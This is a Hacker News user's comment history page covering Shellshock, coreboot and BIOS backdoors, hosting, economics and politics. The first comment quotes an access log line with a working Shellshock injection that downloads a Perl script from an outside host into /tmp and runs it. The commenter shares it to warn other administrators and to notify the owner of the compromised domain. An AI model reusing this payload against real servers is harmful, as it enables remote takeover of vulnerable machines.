HNHacker News
TopNewBestAskShowJobs

guylhem

9 karma · joined August 2, 2010

submissionscomments
guylhem··on Inside Shellshock: How hackers are using it to exploit systems
It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment:

XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

The payload is a perl script, which I posted to http://pastebin.ca/2850380

I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page)

EDIT: email text (feel free to copy and paste if you see similar things in your logs)

Dear XXX,

I found your email as the contact for the domain YYYY.

I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug"

This malicious program has been hosted on a file publically accessible using http://XXXXX/legend.txt

I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing.

Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-(

Sorry, Charles

EDIT2: if you want to discuss the code, https://news.ycombinator.com/item?id=8392666

guylhem··on Why Did Crowd Flee Shanghai Subway After Foreigner Fainted?
I remember the same thing happening to me in France - an homeless man, inebriated, but not conscious, that can not be awakened, and with an open wound, in the stairways of a subway station.

Just like you, the ambulance personnel was angry at me for calling them on what was obviously a drunk bum.

I was so disgusted I left after making sure they would take care of the patient (and not just leave).

I am a MD, and unlike them I would not pretend I can make an accurate diagnosis just by look and smell.

Saying the loss of consciousness is due to alcohol just because of the smell is a wild guess - if you have a seizure while drinking some hard liquor, you may end up soaked in it, and smelling like a drunk.

The clothing of the person can be used as a Bayesian prior, and indicated that it is likely to be alcohol intoxication, but even then, the open wound could have been sustained during the fall (and indicate other potential damages, like broken bones?) or could mean something else (aggression?).

Even if we are 100% sure it's "just a drunken bum" without any other injury, acute alcohol poisoning is a medical emergency and can be fatal. When the person can not be awaked, how do you exclude that diagnosis???

Obviously some people don't want to do their job and think they are so clever they figured everything out.

The place of that person was in a hospital, to at least be under visual surveillance until some basic test are run - at least blood alcohol level.

guylhem··on Segregation Now – separate and unequal education is coming back
"Rich people shouldn't segregate themselves from the poor people in their communities"

Says who? On which authority?

What if poor people want to segregate themselves?

Live and let live. Individual freedom is more important than society considerations

guylhem··on Hackers Unveil Their Plan to Change Email
The concept is very interesting - apparently, each "doll" or layer is encrypted, and only the target can decode the message - so I guess the equivalent of the MX would be the outmost doll, while the equivalent of a To: field would be the innermost doll.

This reminds me of something else I've found quite interesting - the idea of publishing pubkeys or at least their hashes as DNS records (yes, unsafe unless there is DNSSEC etc, but that would be much better than now), so that the sender could encrypt the message automatically, without requiring the user to select say GPG target keys.

I wonder if that's what they will be using. Do they have technical documents or RFCs?

A new and non backward compatible email system using that (say even running on a different port) would indeed be quite interesting, but I wonder if there wouldn't be weaknesses that would make spam a problem as serious as in 2004/2005 (or maybe SPF is yet another of their "dolls"?)

Edit: about anonymous remailer and tor, it doesn't look the same to me. Say I publish 2 keys, one for my domain, one for my user. Everything one wishes to send to my domain is encrypted first with my key, then with my domain key, and then signed with the sender domain key (to add equivalent of SPF). Once it arrives, the equivalent of an MTA can try and decrypt that - if it suceeds, it can then put it in a spool of mail "not fetched yet" (so to as add a layer of protection against a malveolent sysadmin - the user could download all the encrypted mails in the spool and try to decrypt them itself)

The only thing that would be seen (besides the DNS lookups, but they could be cached by the client with a TTL) would be that domain A is sending a message to domain B.

guylhem··on Introduction to Coreboot, an open source BIOS
told you so :-/ If you run bios-extract on a dump of your x60t, you'll see Computrace is in 2E_0.rom.

I have no idea on how to reassemble the pieces into a working bios. It's not just a checksum, that's for people doing SLIC ie replacing or adding stuff at the bottom. A missing table in the middle might cause problems. Isn't there an index too?

Anyway, the alternative hack you suggest would be quite a cool one :-) I didn't know it was possible to change the address of the c&c in the option rom (IIRC, it's like packed in an EFI header, then again - I just don't know which tools to use), but if it's, I'd be quite interested - even more if the computrace protocol has ben reverse engineered ;-)

Feel free to contact me by email!

guylhem··on Introduction to Coreboot, an open source BIOS
I beg to disagree. On all of the motherboards I have, it was present in every single one of them - but on some it "didn't show", ie there was no warning message when entering the bios, so it I believe it was not activated or something. But the option rom was present on the X60 tablet. You may want to check yours.

Also, which tool would you use to remove this option rom? CBMROM does not works on phoenix firstbios, and the phoenix editor tools don't work on the 2 Mb image.

I'd be delighted to know, just because I have that it's still there on my "reference" motherboard (used to test whether issues are due to coreboot or not)

guylhem··on Introduction to Coreboot, an open source BIOS
Some practical details on a Thinkpad X60 (http://www.coreboot.org/Board:lenovo/x60/Installation, check for yourself how it works on on https://www.youtube.com/watch?v=HKdLhbmjrDI)

coreboot time (as per cbtime) : 1.5s, followed by kernel and system boot in (as per systemd-analyze) : Startup finished in 2.244s (kernel) + 611ms (userspace) = 2.856s

I'm using grub2 as a payload, and that's what I call a fast boot for a debian Wheezy (details on http://www.coreboot.org/pipermail/coreboot/2014-July/078215....)

But you can use other payloads too - even chainloading them from grub!

"stealing the VGA bios" in column 4 is not mandatory if your hardware supports native video init, and today I just succeeded in replicating the video support using SeaBIOS (cf http://www.coreboot.org/SeaBIOS and http://www.coreboot.org/pipermail/coreboot/2014-February/077...), which means that I can now load a standard grub and maybe other operating systems should I want to use them on the X60, without any blackbox blob - who knows what may be hidden in these blobs.

Why is that interesting? Because in the default bios (cracked open with bios-extract, Phoenix BIOS "Phoenix FirstBIOS(tm) Notebook Pro Version 2.0 for ThinkPad") there is Computrace backdoor as option rom 2E (cf http://securelist.com/analysis/publications/58278/absolute-c...).

If I ever need to do things on a windows machine, I don't want bios rootkits - and coreboot makes that possible, thank you :-)

If you like playing with operating systems, boot, etc. coreboot is very cool.

guylhem··on Learning “computer code” will be offered in French primary schools
As a kid in France (in the late eighties, quite young, but I can't remember when precisely), I had some "programming classes", using Logo on Thomson computers - http://www.oocities.org/siliconvalley/9723/thomson.html

Basically, all primary schools had some of them in a special room, and kids would get to do stuff on them, by pairs of 2 or 3 - part of the time was guided interaction, then you would "experiment" which what you'd learnt this day.

I can't say how effective it was, because it was not really integrated with the rest of the curriculum (government program gone wild!) but the interesting thing was that it allowed experimenting.

Before that, I read computer journals, wrote programs on paper, and "ran" them in my head. There I had a machine to do that and could spot differences between my intent and the action - ie where there were differences in the interpretation, ie BUGS!!!

What I remember most fondly about Logo, is how it allowed recursion and the very visual nature (lines, color, circles...). The programs were simple but allowed us kids to play with the concept of recursion.

guylhem··on $4 ARM PSoC prototyping kits
Interesting form factor (flat=easy to ship!) and price.

I wonder which features it offers and how it compares to a Raspberry.

Cheaper than the Raspberry, powered by USB, but also connected (usb-serial). No info about memory and flash (I guess some ports must for for a SD or for a USB client)

(it might make a cheap flashrom device - reading the specs ATM to see if SPI is there)

guylhem··on 11th Linode Birthday, $10 Linode plan
Use promo code LINODE10 and you'll get $10 off - ie one free month! You'll be charged $5 on your credit card, but your account will then show a $15 credit.

Feel free to use my referral code 9ed7a90501142890c1c8cfca43f1c872e7494470 or link https://www.linode.com/?r=9ed7a90501142890c1c8cfca43f1c872e7... so that I benefit from it too :-)

guylhem··on 11th Linode Birthday, $10 Linode plan
I'm new to linode. What is their outgoing bandwidth policy?

I mean, is it possible to automatically set up a throttle, to avoid charges when going over 2TB? (or do I have to fiddle with iptables to find a way to do that).

Also, do you know if it's possible to get a /48 IPv6?

On https://library.linode.com/networking/ipv6 they only mention /56

I'd hate to run a HE tunnelbroker just because they don't support that :-/ (I love HE.net and tunnelbroker.net, but it would just be wasteful)

EDIT: /48 make running multiple VPNs very easy - that's lazy, but IPv6 are not scarce resources!

EDIT2: just got an answer - they can't do /48 :-(

guylhem··on US lifts restrictions on more detailed satellite images
I don't like this. What is the business of a government in regulating the resolution of whatever form of imagery???

If it can be seen from the sky, or from the street, it's public. Planes, satellites, drones, whatever - you should be free to take pics and sell them if you want.

Fortunately, digital camera didn't exist where such kind of laws had been passed, or there would have been similar stupid restrictions (imagine google streetview with n-times 640x480 pics crafted together, or worse - a law restricting the resolution of the reconstructed google streetview you can view on your screen!)

guylhem··on Review of Thomas Piketty's Capital: Capitalism vs Democracy
TLDR : rising inequality a return to "normal" after 2 huge destructions.

Inequality is returning to pre world-wars level - ok, that's an easily verifiable fact.

However, how do we know it's a bad thing? There is no conclusive evidence that rising inequality will have bad consequences on say growth - it might. We just don't know for sure.

OTOH, we know quite well how we got into that "equality" period - destruction of huge amounts of capital and human lives in 2 world wars that turned European countries from world leaders into 2nd rate places - yet very equalitarian (Gini coefficients etc) compared to other places.

It doesn't strike me as a "good thing".

guylhem··on 1930s immigrants who Americanized their names earned more
Indeed, and to make things better, Quebec won't allow legal name change in most cases.

Step 1) leave Quebec

Step 2) change your name in the other provice

Step 3) ... (return to Quebec, or wherever)

Step 4) Profit!

Source: I live there.

guylhem··on The Financial Sector Is the Greatest Parasite in Human History
Maybe it's just me, but the maths seems strange.

I just quickly glanced at some figures, like "Have they earned it?", and it seemed wrong.

The author says the total return for say Barclay was 12.61%.

bc -l running in a terminal disagree

Taking 100 as the base value to ease our math:

100x1.112x1.0825x0.9452x1.1088=126.156497322240000

That's a 26% something cumulative return in 4 years. What is this 12.61% meant to represent?? The average per year was closer to 6.5% if that's what he meant.

(Edit- replaced the * by x and added an =)

guylhem··on Google gives UK government “super flagger” status for YouTube?
I fully and totally agree, upvoted you and wish I could upvote you even more (hopefully, others will!), especially considering the parent post you replied to.

Ideas (and videos, and guns) don't kill people. People kill people.

It has always been, and will likely persist for a very long time.

Utilitarianism be damned - not a single millimetre of freedom should be sacrificed in a vain attempt to limit that human tendency.

guylhem··on Google gives UK government “super flagger” status for YouTube?
What if I don't agree with the UK government views on say freedom of speech?

And why the UK government? What about giving that same power to the government of Afghanistan for example?

From a utilitarian perspective, they could use that "superflagger status" to prevent the spread of videos that have lead to violence in the past.

One simple example : http://www.nydailynews.com/news/world/google-remove-riot-spa...

However, from a freedom of speech perspective all that is very very wrong. If watching a video cause you urges to start rioting and harm people, maybe it's not the video that's the problem.

guylhem··on In Praise of Perl 5
I don't care how un-sexy perl is by current standards. It's damn efficient, even for new projects. Also, it's not hard for a developper worth its salt to get productive in perl.

At the moment I'm playing with some threaded perl to parse very large text files - part of the code was developed by a C++/Java/js fan, who just realized it was the best tool for the job, and created that after a few days of playing with perl.

guylhem··on Job polarisation and the decline of middle-class workers’ wages
Your logic seems wrong for the causality.

We destroyed wealth because of the world wars, which then caused "rising equality".

I do not believe the world wars happened due to inequality - so no, I'm not worried.

guylhem··on Job polarisation and the decline of middle-class workers’ wages
Additional question : why should we care about income inequality?

The post WW2 area had less income inequality because the world economy had been torn apart.

We are now just going back to pre WW1 rates - ie basically reaching the point where we were before 2 world wars destroyed so much wealth.

guylhem··on A New Way to Make Rational Resolutions
Listening to your emotions is important, as the article states.

But there is something more even more important - the schedule.

Why make new year resolutions? It is known to be inefficient and fail-prone.

My personal method : make "whatever month it is" resolutions, with a timeframe - and don't do that on the first day of the month only.

For ex, in february I may make some february resolutions, which will have a different timeframe (ex: some will be evaluated at t+1 in march, some at t+4 in june, etc). I may add another batch of resolutions in any given day of the month - I just file them under a month since it's easy to remember.

This also enables many cycles of resolutions in a given year, which is useful in case some of them haven't been held - it won't be too late in april to set new resolutions.

Track them using metrics, and have clear "next steps", then it's not really complicated.

Using last year as an example, I have had a failure rate of ~25%, which I consider very acceptable.

Think "release early, release often", or compare waterfall/iterative/agile methods, figure out which is better, and apply it to your life.

guylhem··on Ayn Rand-loving CEO destroys his empire
Why exactly is there "Ayn Rand" in the title?

If you still are not shocked, let's color the phrase a bit more : "Is it really necessary for liberals to bash values they don't agree with, while hiding their own shortcomings ?"

There, you are shocked - but you can find additional food for though on http://econlog.econlib.org/archives/2013/12/media_bias_case.... http://econlog.econlib.org/archives/2013/12/denver_posts_me....

Besides this "Colorado school shooter was an hardcore leftist and keynesian" (shocking headline selected for additional emotional impact) this is not what I often see in the news http://dailycaller.com/2013/12/14/dead-colorado-school-shoot...

But I guess if the guy had believe in objectivism and had been right wing, this would have justified headlines and a totally different wording - like this article on Salon.

Ask yourself- why is it ok to do ad-hominem attack on one case, and not in the other? Why are you shocked when the headlines mention the political beliefs that you find totally normal, but you are not when the headlines mention Ayn Rand?

Besides the shocking title, the content is awful. This article has nothing to do on HN.

If downvoting this is easy, but explaining your disagreement is harder, my suggestion: bias at work.

guylhem··on Big Data: New Tricks for Econometrics [pdf]
By Hal Varian, who has interesting microeconomics books, works with Mathematica to provide visual examples of what he is teaching, etc.

Reading that at the moment, seems very interesting.

guylhem··on Why Pushing People to Code Will Widen the Gap Between Rich and Poor
Question that nobody asks : why should we care about the gap if it increases productivity?

What bad consequences will it have?

I don't mean that theoretically people will feel bad, but how exactly will this be bad for a random joe to have a slightly smaller share of a much much bigger pie??

guylhem··on FDA Warning Letter to 23andMe
As usual, the government is trying to meddle with companies. Read the letter, but make no mistake - the "kind" tone, especially when reminding how they did they best to get in touch, have meetings, help insuring compliance etc. is just a decoy. The truth is with "must immediately discontinue marketing the PGS".

The gov wants to decide what's best for the people. Should the people decide differently, using their wallets for example, this anomaly will be quashed.

This trend is especially strong in the medical field - gov approval required everywhere, then people wonder why medical things are so damn expansive.

I use 23andme and I'm happy with the information provided. I know it's not reliable - it's not a lab test anyone will use to base important decisions on, since it is not a full sequence of genes.

Yet, by being commercially available and easy to use, it is paving the way for commercial offers of full genome sequencing, which I damn well intend to use when they reach the $500 threshold.

However, gov actions like this one may very well make that impossible, making sure the only full genome sequencing offers there will be will be "FDA cleared" at a huge markup.

Suggestions to "medical" like companies - get out the gov eye. Move your business to Asia, the caribbean or wherever the gov will not get in your way like this. I want to keep using (and recommending) your products!

guylhem··on Are Computers Making Society More Unequal?
It's funny how the "equality" thing can depend on various notions - including assumptions.

Unless we are talking about unconditional equality (i.e. same for everyone including slackers), what about an equality based on how productive people are? It's called marginal productivity ethics, and following that theory our current society is very unequal, and the society envisioned by the articled (the so called "hyper meritocracy") is much more equal.

"In the aftermath of the marginal revolution in economics, a number of economists including John Bates Clark and Thomas Nixon Carver sought to derive an ethical theory of income distribution based on the idea that workers were morally entitled to receive a wage exactly equal to their marginal product" (http://en.wikipedia.org/wiki/Marginal_product_of_labor)

If anything, computers put an emphasis on the fact that waking up everyday and showing up for "work" with the only qualification of having a pulse is not sufficient anymore to command a salary, especially when machines can replace the worker for a fraction of the cost (and do a much better job)

Things change. I for one will not lament on the fact that our society is becoming so productive and efficient that (gasp!) some people also have to become more efficient!!

guylhem··on Hacking Public Education
How exactly is throwing more gasoline on a fire ($1 billion is a lot of gasoline) a magical fix for the education problem??

What about trying something different, like deregulation? (ex: less administrative oversight, less union power, let teachers do their things their own way, make it easier to fire them if they don't perform)

guylhem··on How to Cut the Poverty Rate in Half
Want a quick and dirty fix? Kill half of the poor. Problem solved immediately. (I hate such rhetorical questions, so this is the ironic answer I always give)

There is no quick way out, and the various "basic income" schemes are untested on such a wide scale, and their consequences unknown.

Those who favour basic income on the hypothesis it will be balanced by a reduction of government redistribution jobs ignore a very important trend: governments never shrink - they grow with time (IIRC, in the US over 40% of the GDP is eaten by the gov)

guylhem··on Weather in your terminal, with ANSI colors and Unicode symbols
I am thinking more and more about moving back to a text-only interface - previously I was very happy with mutt, tin, lynx (and links and w3m), centericq, etc, but only bash and vim stuck with me.

Yet with the advent of unicode, there are fewer needs for a graphical interface - stay for a weather app. A clutter-free desktop consisting of mostly bash, along with gnu screen (or the likes) and ssh (or the likes) to remotely connect to home, now that would be efficient!

Even better - a few weeks ago, I found out that for math stuff, stata on OSX can be used with a command-line.

[PS: As usual Frederic, totally awesome :-)]

guylhem··on 30 Window Managers in 30 Days
Indeed, working on a slow machine is the best thing one can do to produce optimized code.

At the moment I'm using a macbookair3.1 with 4 gigs of ram- and it might even be too fast IMHO to add good constaints.

← PreviousPage 2 of 23Next →